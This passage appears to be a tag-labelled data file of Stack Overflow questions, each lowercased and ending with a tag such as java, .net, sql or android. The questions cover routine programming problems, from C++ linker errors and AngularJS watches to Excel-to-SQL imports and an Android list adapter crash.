how to updating a textview with a loop on click  on the first click  the text view change to some text  and in the second click the text will change to an other text. i started to write it with a switch statement:   <pre><code>public void onclick(view v) {       switch () {           case ();           text.settext( you have clicked once );       } } </code></pre>,android
undefined reference general errors  i m supposed to implement the functionality of a stack and i was given the main.cpp file and was left to write the other files  namely stackofnodes.hpp &amp; .h. these depend on two other files node.hpp &amp; .h. when i try to build the program i get errors on the main.cpp file that was given to me. this are:   <pre><code>obj/debug/main.o||in function `main :| |6|undefined reference to `stackofnodees&lt;int&gt;::stackofnodees() | |12|undefined reference to `stackofnodees&lt;int&gt;::push(int) | |17|undefined reference to `stackofnodees&lt;int&gt;::size() const | |24|undefined reference to `stackofnodees&lt;int&gt;::pop() | </code></pre>   main.cpp   <pre><code>   #include &lt;iostream&gt; //std::cout std::cin     #include  stackofnodees.h  //stackofnodes      int main()     {         stackofnodees&lt;int&gt; mystack; //create an empty stack         int sizeofstack;    //int we ll use later to store the size of the stack          //push some numbers onto the stack         for(int i = 1; i &lt;= 10; i++)         {             mystack.push( i * 5 );         }           //store the size of the stack before popping anything         sizeofstack = mystack.size();          std::cout &lt;&lt;  there are   &lt;&lt; sizeofstack &lt;&lt;   items on the stack  &lt;&lt; std::endl;          //think about why we don t use i&lt;mystack.size()         for(int i = 0; i &lt; sizeofstack; i++)         {             std::cout &lt;&lt;  popping the top:   &lt;&lt; mystack.pop() &lt;&lt; std::endl;         }              /* while(!mystack.isempty()) is another valid way to pop all the contents of the stack */      } </code></pre>   stackofnodees.hpp   <pre><code>#ifndef stackofnodees_hpp_included #define stackofnodees_hpp_included  stackofnodees::stackofnodees() {     m_top=nullptr;     m_size=0; }  bool stackofnodees::isempty() const {     if (m_size==0)     {         return true;     }     return false; }  int stackofnodees::size() const {     return m_size; }  void stackofnodees::push(int value) {     node* node1 = new node;     node1 -&gt; m_previous = m_top;     m_top=node1;     node1 -&gt; m_value = value;     ++m_size; }  int stackofnodees::pop() {     // initialize     int returnval = 0;      if (!isempty())     {         // fetch the value from the top one         returnval = m_top -&gt; m_value;          node* temp = m_top;          //move m_top down to previous box.         m_top = m_top -&gt; m_previous;          //delete the popped one         delete temp;          m_size--;     }     else     {         // you may want to throw an exception here for popping a empty stack     }      return returnval; }     #endif // stackofnodees_hpp_included </code></pre>   node.h   <pre><code>#ifndef node_h_included #define node_h_included  template&lt;typename t&gt; node&lt;t&gt;::node() {     node.setprevious(nullptr);     node.setvalue(); }  //initiation of getters     template&lt;typename t&gt;     t node::getvalue()     {         return m_value;     }//end getvalue      template&lt;typename int&gt;     int node::getprevious()     {         return m_previous;     }//end getprevious  //initiation of setters     template&lt;typename void&gt;     void node::setvalue(t value)     {         m_value =  value;     }//end setvalue      template&lt;typename void&gt;     void node::setprevious(node&lt;t&gt;* previous)     {         node&lt;t&gt;* previous = m_previous;     }//end setprevious </code></pre>   stackofnodees.h   <pre><code>#ifndef stackofnodees_h_included #define stackofnodees_h_included #include  node.h   template&lt;typename t&gt; class stackofnodees { private:     node&lt;t&gt;* m_top;     int m_size;  public:     stackofnodees();     bool isempty() const;     int size() const;     void push(t value);     t pop(); };  #endif // stackofnodees_h_included </code></pre>   any help would be much appreciated. thanks!,c++
why should i put try/catch block out of loop   here is codereview guideline by practice&amp;patterns team.<a href= http://msdn.microsoft.com/zh-cn/library/ms998574#scalenetchapt13_topic7 >http://msdn.microsoft.com/zh-cn/library/ms998574#scalenetchapt13_topic7</a>(the link navigate to the exception section automaticly.)    they said you should put try/catch block out of loop when you handle exception  i want to know why,c#
codedomprovider: is it possible to unload compiled code  .net application i work on allows to extend it s functionality with c# scripts that are put into configuration file and compiled like that:   <pre><code>codedomprovider provider; ... var result = provider.compileassemblyfromsource(prms  new[] { scriptcode }); var asm = result.compiledassembly; var t = asm.gettype( scriptclass ); var scriptinstance = (iscript)activator.createinstance(); </code></pre>   i have to allow users to change configuration file  catch this event and recompile scripts in runtime without application restart.    i m warned that previous code will still utilize memory. how should i unload compiled code      thank you in advance!,.net
iphone app store. client submitting question  i am writing an application which will be submitted by my client. i don t want to give them my source code  what must i do,iphone
cant see split html file  i m trying to split html file into 2 different files:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;/head&gt;  &lt;body&gt;  &lt;frameset cols= 25% 75% &gt;    &lt;frame src= addnewevent.html  /&gt;    &lt;frame src= totalevents.html  /&gt; &lt;/frameset&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   addnewevent.html:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;/head&gt;  &lt;body&gt;  left  &lt;/body&gt; &lt;/html&gt; </code></pre>   totalevents.html:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;/head&gt;  &lt;body&gt;  right  &lt;/body&gt; &lt;/html&gt; </code></pre>   the 3 files (main html and addnewevent.html  totalevents.html) are in the same directory. (i just learning html  so for now  i m not using server  and open the main page with the browser.    when opening the main page in the browser  is seems that the addnewevent.html  totalevents.html are not loaded. (there is no error in console log)   <ol> <li>what an i doing wrong  </li> <li>is it right to split the page into little pages with frameset  </li> </ol>,html
.net   .setting configuration file does not return updated configuration  i have an assembly (.dll)  project  epmtfs.common  which has a  utilityconfig.settings file ( .settings file) containing some configuration settings.  to access the configuration values i am using the code like    string pwd  = common.utilityconfig.default.password; string username = common.utilityconfig.default.username;    the console application  epmtfs.console  uses functions defined in epmtfs.common. on build   the utilityconfig file is copied to the bin directory of console application. everything works fine.     problem is  when i copy it to production and change the value of username and password. the utility returns the old password which was defined in the utilityconfig file during build time. this is true even after i change the values in the utilitconfig file in production.     so my problem is  how do i change these values in production without requiring a build on dev.     <a href= https://i.stack.imgur.com/luyyk.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/luyyk.jpg  alt= enter image description here ></a> ps:  i know there is a way to have different config files for different environment  but cant i simply edit this file in production,.net
reading input in c  i have to read input from the user. i do not know how many lines or how many character per line the user will input  so i can t use an array. if the user inputs an empty line  the input is complete.    my question is  how to do this without the use of arrays. i tried using this code  but it crashes on running.   <pre><code>char *line =   ; gets(line); </code></pre>   why does this not work  and how can i read the input without the use of arrays     tia,c
sql query with simple join  i have table with such structure   <pre><code>create table #test (     id int identity      [value] int ) </code></pre>   and want to find difference between [value] from current to previous row with only <strong>one join operator</strong>.  can anybody help me,sql
accessing child scope in watch  in this <a href= http://plnkr.co/edit/2xpeudto3rvbksgssyjs p=preview  rel= nofollow >plunk</a> i have two nested directives  each with a checkbox. my objective is to change the parent checkbox whenever the user clicks on the child checkbox. i need to use watch (no messages)  but i cannot access the child scope. any ideas     javascript   <pre><code>angular.module( app   []);   angular.module( app )     .directive( directive1   function()       var directive = {};      directive.restrict =  e ;      directive.scope = true;      directive.template =  &lt;input type= checkbox  ng-model= cb1 &gt; top directive &lt;br/&gt;&lt;directive2&gt;&lt;/directive2&gt;  ;      directive.link = function(scope  element  attrs) {        scope.$watch(function () { cb2  }                 function (newvalue  oldvalue) {                   scope.cb1 = newvalue;        });       };      return directive;  });   angular.module( app )     .directive( directive2   function() {      var directive = {};      directive.restrict =  e ;      directive.scope = true;      directive.template =  &lt;input type= checkbox  ng-model= cb2 &gt;  bottom directive  ;      directive.link = function(scope  element  attrs) {     };          return directive;  }); </code></pre>,angularjs
how to get class member object by it s string name   if i have a class member of lets say uiimageview in my viewcontroller :   <pre><code>uiimageview* imageview = self.memberimageview1; </code></pre>   is there a way i can get this member by string   somthing like :   <pre><code>uiimageview* imageview =[self.getmember(@ memberimageview1 )]; </code></pre>   of course i m talking about solution with objective-c syntax  and not custom. thanks.,objective-c
how to write sql queries in mvc3 .cshtml file   i want to write some sql queries(insert/update) in mvc3 .cshtm file and perform operations accordingly.i am new to this so i need help. thank you in advance,.net
java rock paper scissors lizard spock using char and string  hello there and thank you for any help in advance.  i m new to java  in my first class and have been working on this for a few days.      as you can probably tell from the title this is an expanded version of rock  paper  scissors.    i wrote a great working program using string and int as the variables  but then was told i had to get user input as a char.  now i m having a problem getting the user input to equal the computer input.      update: i rewrote the program making comp a char.  everything except when there is a tie now works.  the problem is the case.  example:  userinput = r  comp=r  this should be a tie and output  it s a tie!   i ve been trying charactor.touppercase and charactor.tolowercase but i don t think i have the correct syntax so if userinput = comp the case is ignored. can anyone give me the correct syntax for this   thanks!    <pre><code>import java.util.scanner;  public class rocktest { public static void main(string[] args) throws exception { char userinput; char comp;    scanner keyboard = new scanner(system.in); system.out.println( please enter r for rock  p for paper  s for scissors  l for lizard and k for spock:  ); userinput = (char)system.in.read();     keyboard.nextline();     int comt=(int)(5*math.random())+1;     comp=(   );      if (comt==1){            comp=( r );     }     else if (comt==2){             comp= p ;     }     else if (comt==3){             comp= s ;     }      else if (comt==4){             comp= l ;     }      else if (comt==5){             comp= k ;     }                  if((userinput ==  r )||( userinput ==  r ))            {           system.out.println( you choose: rock );      }     else if((userinput ==  p )||(userinput ==  p ))            {             system.out.println( you choose: paper );      }        if((userinput ==  s )||( userinput ==  s ))            {           system.out.println( you choose: scissors );      }               if((userinput ==  l )||( userinput ==  l ))            {           system.out.println( you choose: lizard );                        }                      if((userinput ==  k )||( userinput ==  k ))            {           system.out.println( you choose: spock );          }                              system.out.println( i choose:   + comp); //this is where i m having the                                                              //problem                                            //need to ignore case        if (userinput==comp)                                     {         system.out.println( a tie! );         }        else if((userinput ==  r )||( userinput ==  r )) {              if (comp ==  s )                     system.out.println( rock crushes scissor - you win! );             else if (comp ==  l )                     system.out.println( rock crushes lizard - you win! );             else if (comp ==  p )                     system.out.println( paper covers rock - you lose! );             else if (comp ==  k )                     system.out.println( spock vaporizes rock - you lose! );     }     else if ((userinput ==  p )||(userinput ==  p )) {             if (comp ==  s )                     system.out.println( scissors cut paper- you lose! );             else if (comp ==  k )                     system.out.println( paper disproves spock - you win! );             else if (comp ==  r )                     system.out.println( paper covers rock - you win! );             if (comp ==  l )                     system.out.println( lizard eats paper- you lose! );     }             else if((userinput ==  s )||( userinput ==  s )) {             if (comp ==  p )                     system.out.println( scissors cut paper - you win! );             else if (comp ==  l )                     system.out.println( scissors decapitates lizard - you              win! );             else if (comp ==  r )                     system.out.println( rock crushes scissors - you lose! );             else if (comp ==  k )                     system.out.println( spock smashes scissors - you lose! );     }             else if((userinput ==  l )||( userinput ==  l ))  {             if (comp ==  p )                     system.out.println( lizard eats paper - you win! );             else if (comp ==  k )                     system.out.println( lizard poisons spock - you win! );             else if (comp ==  r )                     system.out.println( rock crushes lizard - you lose! );             else if (comp ==  s )                     system.out.println( scissors decapatates lizard - you             lose! );     }         else if ((userinput ==  k )||( userinput ==  k )) {             if (comp ==  p )                     system.out.println( paper disproves spock - you lose! );             else if (comp ==  l )                     system.out.println( lizard poisons spock - you lose! );             else if (comp ==  r )                     system.out.println( spock vaporizes rock - you win! );             else if (comp ==  s )                     system.out.println( spock smashes scissors - you lose! );     }       //system.out.println(+ comt);    used these lines for testing     //system.out.println(+ comp);     //system.out.println(+ userinput);    }//end main }//end class    </code></pre>,java
typeerror:  int  object is not iterable. why am i getting this error  please help <pre><code>def get_top_k(frequency  k):     temp = frequency     key =        tvalues = []     values = []     kk = int(k)     i = 0     for i in temp.keys():         key = i         num = [int(frequency[key])]         tvalues += num     tvalues = bubble_sort(tvalues)     i = 0     for i in kk:         num = [int(tvalues[i])]         values += num     print(values)     i = 0     result = {}     for i in kk:         result += {(str(temp[values[i]])):(int(values[i]))}     return result </code></pre>,python
jquery same functionality on event  different handlers and elements  i ve got lots of text inputs that have this event:   <pre><code>$( .textboxsal ).live( keyup   function () {...}); </code></pre>   i have also drop down list with a different <code>class</code> that i want it to make the same code   my question is :      can i add somehow my <code>dropdownlist</code> to this event  but with other (<code>onchange</code>) event,jquery
viewdidload success block called after cellforrowatindexpath  i have an api call to store some data to a array property on a table view.     i make the call in the <code>viewdidload</code> and it all goes well except it runs the api call up to the line before success.    then it jumps to the <code>cellforrowatindexpath</code> to where i set the data i get from the call to a <code>nsdictionary</code> then after that line it doesn t complete the <code>cellforrowatindexpath</code> method. it jumps back up and runs the success code of the api call before resuming back to <code>cellforrowatindexpath</code>    <strong><em>the line that it gets to in viewdidload is the one directly before the success block:</em></strong>     <code>[manager get:urlstring parameters:nil success:^(afhttprequestoperation *operation  id responseobject)</code>    <strong><em>it then jumps to this line in cellforrowatindexpath:</em></strong>     <code>nsdictionary *user = self.user[0];</code>    <em>here is my full code:</em>    <strong>viewdidload method:</strong>   <pre><code>- (void)viewdidload {     [super viewdidload];      self.tableview.tablefooterview = [[uiview alloc] init];      gfcredentialstore *credentialstore = [[gfcredentialstore alloc] init];      nsstring *authtoken = [credentialstore authtoken];     nslog(@ %@   authtoken);      __weak typeof(self)weakself = self;      nsstring *userid = self.userid;      nsstring *urlstring = [nsstring stringwithformat:@ %s%s%@%@   kbaseurl  kuserurl  userid  @ .json ];      afhttprequestoperationmanager *manager = [afhttprequestoperationmanager manager];     manager.responseserializer = [gfuserresponseserializer serializer];     [manager.requestserializer setvalue:authtoken forhttpheaderfield:@ auth_token ];     nslog(@ %@   manager.requestserializer.httprequestheaders);     [manager get:urlstring parameters:nil success:^(afhttprequestoperation *operation  id responseobject) {         __strong typeof(weakself)strongself = weakself;         strongself.user = (nsarray *)responseobject;         [strongself.tableview reloaddata];     } failure:^(afhttprequestoperation *operation  nserror *error) {         nslog(@ error: %@   error);     }]; } </code></pre>   <strong>cellforrowatindexpath method:</strong>   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {      if(indexpath.section == 0){          gfprofilecell *cell = [tableview dequeuereusablecellwithidentifier:@ profilecell  forindexpath:indexpath];          nsdictionary *user = self.user[0];          cell.usernamelabel.text = user[@ username ];          cell.biolabel.text = user[@ description ];          nsstring * avatarurl = [nsstring stringwithformat:@ %s%s%@%s%@%s   kbaseurl   system/users/avatars/   user[@ id ]   /original/   user[@ username ]   .png ];          nsstring * newavatarurl = [avatarurl stringbyreplacingoccurrencesofstring:@    withstring:@ _ ];          [cell.avatarimage setimagewithurl:[nsurl urlwithstring:newavatarurl] placeholderimage:[uiimage imagenamed:@ zoo.png ]];          cell.avatarimage.layer.cornerradius = 40;         cell.avatarimage.layer.maskstobounds = yes;          [cell.followingcountbtn addtarget:self action:@selector(followingbtnclick:) forcontrolevents:(uicontrolevents)uicontroleventtouchdown];         [cell.followercountbtn addtarget:self action:@selector(followerbtnclick:) forcontrolevents:(uicontrolevents)uicontroleventtouchdown];          // edit profile becomes follow         cell.editprofilebutton.layer.cornerradius = 3;         cell.editprofilebutton.layer.bordercolor = uicolorfromrgb(0x1faa4e).cgcolor;         cell.editprofilebutton.layer.borderwidth = 1.0f;         cell.editprofilebutton.titlelabel.textcolor = uicolorfromrgb(0x1faa4e);          return cell;      }     else if(indexpath.section == 1){          uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:@ cell  forindexpath:indexpath];          return cell;      }     else {          uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:@ postscell  forindexpath:indexpath];          return cell;      } } </code></pre>   thanks for any help.,ios
.net: how do you indicate a inherited property is not implemented   in the get section of the inherited property  you could throw a notimplementedexception. but what to do with the set section,.net
jquery: animate $( id1 ).before( some html ) to fadein and from red to transparent  i want to make something just like on this site (when you/or somebody else adds an answer)    the answer appears and fades in and comes from orange to transparent  anybody knows how,jquery
import excel to sql database  i am not programmer but try to do something study from internet. here i try to  import excel data to sql database with asp.net c#. i get a concept from internet about this but i get a error message like this  compiler error message: cs1501: no overload for method  valid  takes 1 arguments  my code details are below:   <pre><code>&lt;table&gt;         &lt;tr&gt;             &lt;td&gt;loan history file format :&lt;/td&gt;              &lt;td&gt;&lt;input type= button  value= download  onclick= location.href =  carddefaultertemplete.xlsx#tablename  /&gt;&lt;/td&gt;             &lt;td rowspan= 2 &gt;before upload data  you must follow this file format. &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt; &lt;asp:fileupload id= fileupload1  runat= server  visibl= false /&gt;&lt;/td&gt;            &lt;td&gt; &lt;asp:button id= btncarddefaulter  runat= server  text= upload           onclick= btncarddefaulter_click /&gt;&lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt; &lt;div&gt;     &lt;asp:button id= btnexcel  runat= server  text= excel           onclick= btnexcel_click  /&gt;         &lt;asp:label id= lblmsg  runat= server  width= 500px &gt;&lt;/asp:label&gt;  &lt;/div&gt; </code></pre>   c# code    <pre><code>protected string valid(sqldatareader myreader  int stval)//if any columns are found null then they are replaced by zero     {         object val = myreader[stval];         if (val != dbnull.value)             return val.tostring();         else             return convert.tostring(0);     }      public void insertdataintosql(string lhacno  string lhacname  int lhintrate  string lhdrawingpower  int lhtotaldisbamt                               int lhemi  string lhexpirydate  string lhsanctiondate  string lhdisbdate  int lhoutstandingamt  int lhpaidamt                               int lhlastmonthpaid  string lhstatus  string lhclstatus)     {         using (sqlconnection conn = new sqlconnection(configurationmanager.connectionstrings[ optimawebcustomerquerycon ].connectionstring))         {             conn.open();             string str = @ insert tblloanhistory (lhacno                          lhacname                          lhintrate                          lhdrawingpower                          lhtotaldisbamt                          lhemi                          lhexpirydate                          lhsanctiondate                          lhdisbdate                          lhoutstandingamt                          lhpaidamt                          lhlastmonthpaid                          lhstatus                          lhclstatus) values(@lhacno                          @lhacname                          @lhintrate                          @lhdrawingpower                          @lhtotaldisbamt                          @lhemi                          @lhexpirydate                          @lhsanctiondate                          @lhdisbdate                          @lhoutstandingamt                          @lhpaidamt                          @lhlastmonthpaid                          @lhstatus                          @lhclstatus) ;             using (sqlcommand cmd = new sqlcommand(str  conn))            {                 cmd.parameters.add( @lhacno  lhacno);                 cmd.parameters.add( @lhacname  lhacname);                 cmd.parameters.add( @lhintrate  lhintrate);                 cmd.parameters.add( @lhdrawingpower  lhdrawingpower);                 cmd.parameters.add( @lhtotaldisbamt  lhtotaldisbamt);                 cmd.parameters.add( @lhemi  lhemi);                 cmd.parameters.add( @lhexpirydate  lhexpirydate);                 cmd.parameters.add( @lhsanctiondate  lhsanctiondate);                 cmd.parameters.add( @lhdisbdate  lhdisbdate);                 cmd.parameters.add( @lhoutstandingamt  lhoutstandingamt);                 cmd.parameters.add( @lhpaidamt  lhpaidamt);                 cmd.parameters.add( @lhlastmonthpaid  lhlastmonthpaid);                 cmd.parameters.add( @lhstatus  lhstatus);                 cmd.parameters.add( @lhclstatu  lhclstatus);                 cmd.executenonquery();            }                 conn.close();         }     }       protected void btnexcel_click(object sender  eventargs e)     {         using (sqlconnection conn = new sqlconnection(configurationmanager.connectionstrings[ optimawebcustomerquerycon ].connectionstring))          try         {             string tmppath = string.format(@ {0}{1}.xlsx   (@ e:\temp\ )  datetime.now.tostring( ddmmyyyy ));             if (file.exists(tmppath)) file.delete(tmppath);             if (fileupload1.hasfile)                 fileupload1.saveas(tmppath);             fileinfo file = new fileinfo(tmppath);             excelpackage pkg = new excelpackage(file);             var excelapp = pkg.workbook.worksheets[ main_info ];              using (sqlcommand com = new sqlcommand( select lhacno  lhacname  lhintrate  lhdrawingpower  lhtotaldisbamt  lhemi  lhexpirydate  lhsanctiondate  lhdisbdate  lhoutstandingamt  lhpaidamt  lhlastmonthpaid  lhstatus  lhclstatus from [template$]   conn))             {                 conn.open();                 using (sqldatareader dr = com.executereader())                 {                      string call_lhacno =   ;                     string call_lhacname =   ;                     int call_lhintrate = 0;                     string call_lhdrawingpower =   ;                     int call_lhtotaldisbamt = 0;                     int call_lhemi = 0;                     string call_lhexpirydate =   ;                     string call_lhsanctiondate =   ;                     string call_lhdisbdate =   ;                     int call_lhoutstandingamt =0;                     int call_lhpaidamt =0;                     int call_lhlastmonthpaid = 0;                     string call_lhstatus =   ;                     string call_lhclstats =   ;                     while (dr.read())                     {                         call_lhacno = valid(dr[1]);                          call_lhacname = valid(dr[2]);                         call_lhintrate = valid(dr[3]);                         call_lhdrawingpower = valid(dr[4]);                         call_lhtotaldisbamt = valid(dr[5]);                         call_lhemi = valid(dr[6]);                         call_lhexpirydate = valid(dr[7]);                         call_lhsanctiondate = valid(dr[8]);                         call_lhdisbdate = valid(dr[9]);                         call_lhoutstandingamt = valid(dr[10]);                         call_lhpaidamt = valid(dr[11]);                         call_lhlastmonthpaid = valid(dr[12]);                         call_lhstatus = valid(dr[13]);                         call_lhclstats = valid(dr[14]);                          insertdataintosql(call_lhacno                              call_lhacname                              call_lhintrate                              call_lhdrawingpower                              call_lhtotaldisbamt                              call_lhemi                              call_lhexpirydate                              call_lhsanctiondate                              call_lhdisbdate                              call_lhoutstandingamt                              call_lhpaidamt                              call_lhlastmonthpaid                              call_lhstatus                              call_lhclstats);                     }                     conn.close();                 }             }         }         catch (dataexception ee)         {             lblmsg.text = ee.message;             lblmsg.forecolor = system.drawing.color.red;         }         finally         {             lblmsg.text =  data inserted sucessfully ;             lblmsg.forecolor = system.drawing.color.green;         }     } </code></pre>   i have confusion about   <code>protected string valid(sqldatareader myreader  int stval)</code>  and under  <code>protected void btnexcel_click(object sender  eventargs e)</code>  import date from excel and processing while loop.,asp.net
call a url to perform an action using .net  i have a url that i can call that will perform some tasks. i am writing a .net console application that will call this url but i am not sure how to do it. all i want is to pass a url and wait until that url has finished processing (the web page returns -1 when it has finished). i think it should be quite simple but am not sure where to start.    thanks.,.net
is there a way to use a memory mapped file as a live container for .net objects   i came across several tutorials that deal with mmf in .net. all of them adopt a similar approach though - serialize file and write in bulk as bytes and read in bulk as bytes and deserialize.     in theory though  i wouldn t need to deserialize an entire hash table for it to be operable  just a little section of it where i m looking for the kvp. i m thinking that i ll probably have to write a custom class to do so but just in case - is there a way to make a .net object treat a mmf as actual ram,.net
adding value to dropdownlist  i have web service method that returns value of one column of a table. i want add that value to my drop down list. is there any easy way to do it.    here is my web method that returns all conference_name in conference table.   <pre><code>[webmethod(description =  retrieves all conference )]         public dataset getallconference()         {             dataset dataset = new dataset();             // create connection object             oledbconnection oleconn = new oledbconnection(connstring);             try             {                 oleconn.open();                 string sql =  select conference_name from conference ;                 oledbdataadapter dataadapter = new oledbdataadapter(sql  oleconn);                 dataadapter.fill(dataset   conference );             }             catch (exception ex)             {                 console.writeline(ex.tostring());             }             finally             {                 oleconn.close();             }             if (dataset.tables.count &lt;= 0)                 return null;             else                 return dataset;         } </code></pre>   on user side there will be one dropdown list. how can i add the value return by the web method to the dropdown list.,asp.net
my while loop won t start  hi here is just a fun number guesser where someone inputs a number and my while loop will run until it hits the number inputed.  its just a while loop practice because i am relatively new to java and wanted more practice. here is my code.  (i am using intellij idea)   <pre><code>import java.util.scanner; public class main {     public static void main(string[] args) {         boolean password = false;         int passwordguess = 0;         scanner sc = new scanner(system.in);         system.out.println( enter a password to be guessed );         int password = sc.nextint();         while (password) {             system.out.println( test );             if (passwordguess == password){                 system.out.println( your password is   + passwordguess);                 password = true;             }             else{                 system.out.println(passwordguess);                 passwordguess++;             }         }     } } </code></pre>   it prints enter a password to be guessed  then i input a number and it prints  process finished with exit code 0 . any ideas  thanks,java
is there any difference if i use link relation tag (rel=next etc) at the end of url   i want to add the rel=next to next link and rel=prev to the previous link on my blog s homepage. but i am wondering is there any difference if we place these link relation tags at the end of url  like this   <pre><code>&lt;a href= http://www.example.com/page/2/  rel= next &gt; next&lt;/a&gt; </code></pre>   these days i find most developers put the link relation tag at the start of the url. example;   <pre><code>&lt;a rel= next  href= http://www.example.com/page/2/ &gt; next&lt;/a&gt; </code></pre>   is there any difference between these two approaches,html
why getting windowmanager$badtokenexception in this code  <pre><code>public class reviewactivity extends activity {      public void oncreate(bundle savedinstancestate)     {         super.oncreate(savedinstancestate);         setcontentview(r.layout.reviewfrag_layout);          minflater = (layoutinflater) reviewactivity.this.getsystemservice(                      layout_inflater_service);              contextthemewrapper mtheme = new contextthemewrapper(this                       r.style.customdialog);               mview = minflater.inflate(r.layout.custom_dialog  null);              // mdialog = new dialog(this 0); // context  theme               mdialog = new dialog(mtheme);              mdialog.requestwindowfeature(window.feature_no_title);              mdialog.setcontentview(this.mview);                  //if i comment below line  code runs otherwise give exception            mdialog.show();         } } </code></pre>   style:   <pre><code>&lt;style name= customdialog &gt;     &lt;item name= android:windowbackground &gt;@android:color/transparent&lt;/item&gt;     &lt;item name= android:windowframe &gt;@null&lt;/item&gt;     &lt;item name= android:windownotitle &gt;true&lt;/item&gt;     &lt;item name= android:windowisfloating &gt;false&lt;/item&gt;     &lt;item name= android:windowistranslucent &gt;false&lt;/item&gt;     &lt;item name= android:windowcontentoverlay &gt;@android:color/transparent&lt;/item&gt;     &lt;item name= android:backgrounddimenabled &gt;false&lt;/item&gt; </code></pre>   log messages: 10-10 13:20:01.184: e/androidruntime(1417): fatal exception: main 10-10 13:20:01.184: e/androidruntime(1417): android.view.windowmanager$badtokenexception: unable to add window -- token android.app.localactivitymanager$localactivityrecord@411eeaa0 is not valid; is your activity running  10-10 13:20:01.184: e/androidruntime(1417):     at android.view.viewrootimpl.setview(viewrootimpl.java:585) 10-10 13:20:01.184: e/androidruntime(1417):     at android.view.windowmanagerimpl.addview(windowmanagerimpl.java:326) 10-10 13:20:01.184: e/androidruntime(1417):     at android.view.windowmanagerimpl.addview(windowmanagerimpl.java:224) 10-10 13:20:01.184: e/androidruntime(1417):     at android.view.windowmanagerimpl$compatmodewrapper.addview(windowmanagerimpl.java:149) 10-10 13:20:01.184: e/androidruntime(1417):     at android.view.window$localwindowmanager.addview(window.java:547) 10-10 13:20:01.184: e/androidruntime(1417):     at android.app.dialog.show(dialog.java:277) 10-10 13:20:01.184: e/androidruntime(1417):     at com.mds.restau.activity.reviewactivity$1.onclick(reviewactivity.java:74) 10-10 13:20:01.184: e/androidruntime(1417):     at android.view.view.performclick(view.java:4084) 10-10 13:20:01.184: e/androidruntime(1417):     at android.view.view$performclick.run(view.java:16966) 10-10 13:20:01.184: e/androidruntime(1417):     at android.os.handler.handlecallback(handler.java:615) 10-10 13:20:01.184: e/androidruntime(1417):     at android.os.handler.dispatchmessage(handler.java:92) 10-10 13:20:01.184: e/androidruntime(1417):     at android.os.looper.loop(looper.java:137) 10-10 13:20:01.184: e/androidruntime(1417):     at android.app.activitythread.main(activitythread.java:4745) 10-10 13:20:01.184: e/androidruntime(1417):     at java.lang.reflect.method.invokenative(native method) 10-10 13:20:01.184: e/androidruntime(1417):     at java.lang.reflect.method.invoke(method.java:511) 10-10 13:20:01.184: e/androidruntime(1417):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:786) 10-10 13:20:01.184: e/androidruntime(1417):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:553) 10-10 13:20:01.184: e/androidruntime(1417):     at dalvik.system.nativestart.main(native method),android
css content attribute for img tag <pre><code>img:after {    content:attr(title); } </code></pre>   this is not working  probably because the img tag is empty  no closing tag. any workaround to fix this without js,css
sql - outputting averages satisfaction/count of promotions within brackets of score range  so far i have developed a query to output counts of each employee within score ranges (evaluation scores hence from evaluation table). i am struggling to figure out how to perform mathematical functions on these ranges of employees outputted. it will be necessary to pull information from my employee table to count numbers promotedinlast5years/not and also satisfaction levels. find attached below the query regarding ranges.   <pre><code>select t.range as [0-1]  count(employee_id) as [number of employees] from ( select case  when score between 0 and 0.25 then ‘0-0.25’ when score between 0.25 and 0.5 then ‘0.25-0.5’ when score between 0.5 and 0.75 then ‘0.5-0.75’ when score between 0.75 and 1 then ‘0.75-1’ from evaluation) group by t.range; </code></pre>,sql
how to program if score equals 50 or below minus 2 points   im trying to get it right just can t seem to get the right line.    <pre><code>if (score is 50 or below) then (-2 from score) </code></pre>   how would i do this correctly - programatically!,objective-c
is it possible to hide and unhide the app icon  the app will reside on the phone. but not visible through an icon. it should not be possible to close the app through background refresh or in any other way. is it possible to do this,ios
php get hard drive in file path  i have an application with an installer that needs to also install a wamp stack. the user could install anywhere  such as c:\wamp  or d:\foo\wamp.     in one of my app s php files  i need to define some directories for other programs. how could i find the absolute path my php script is running including the hard drive letter     furthermore some third party apps are installed  like filezilla. is there a way for me to search for filezilla.exe or filezilla path in php     thanks,php
why is there a duplicate entry when this field doesn t exist   <strong>this is a table from prestashop</strong>    why do i get this error even though  product_default  doesn t exist    <blockquote>    duplicate entry  2971-0  for key  product_default         insert into <code>psproduct_attribute</code> (<code>id_product</code>  <code>location</code>  <code>ean13</code>    <code>upc</code>  <code>quantity</code>  <code>reference</code>  <code>supplier_reference</code>    <code>wholesale_price</code>  <code>price</code>  <code>ecotax</code>  <code>weight</code>  <code>unit_price_impact</code>    <code>minimal_quantity</code>  <code>default_on</code>  <code>available_date</code>) values ( 2971                  0            0    0    0    0    0    1    0      0000-00-00 )  </blockquote>   here is the table structure:    <img src= https://i.stack.imgur.com/x06cz.png  alt= enter image description here >,mysql
navigation application -- back button  when we click on the back button on a nav view  is there any method (delegate) which gets called on current view controller before poping it out of stack and pushing next in stack,iphone
customlistviewadapter app keeps carshing  i have implemented customlistview adapter in my android app.it works fine for 4 items.however when i insert a fifth element the app crashes.the logcat gives arrayoutofbounds exception.kindly help.it is an integral part of my project.here is the code   <pre><code>    mainactivity.java     public class dslr extends activity implements onitemclicklistener     {         public static final string[] titles=new string[]{ nikon d3300   canon eos 1200d   canon eos 100d (canon eos sl1)   nikon d7200   nikon d610 };         public static final string[] descriptions=new string[]{ the nikon d3300 is the latest entry-level model to nikon s series: an affordable and well-balanced choice to introduce you to the world of dslr.   the canon eos 1200d might be a safe replacement of the nearly four-year-old 1100d model  but it holds enough weight to keep the entry-level dslr market bubbling along.   the canon eos 100d sits in a world of its own. it s as small as dslr cameras come and that in itself is the single biggest reason for buying it   the d7200  complete with a new sensor on board is every bit the canon eos 70d competitor  delivering comparable image quality. };         public static final integer[] images={ r.drawable.d1 r.drawable.d2 r.drawable.d3 r.drawable.d4 r.drawable.d5};      listview listview;     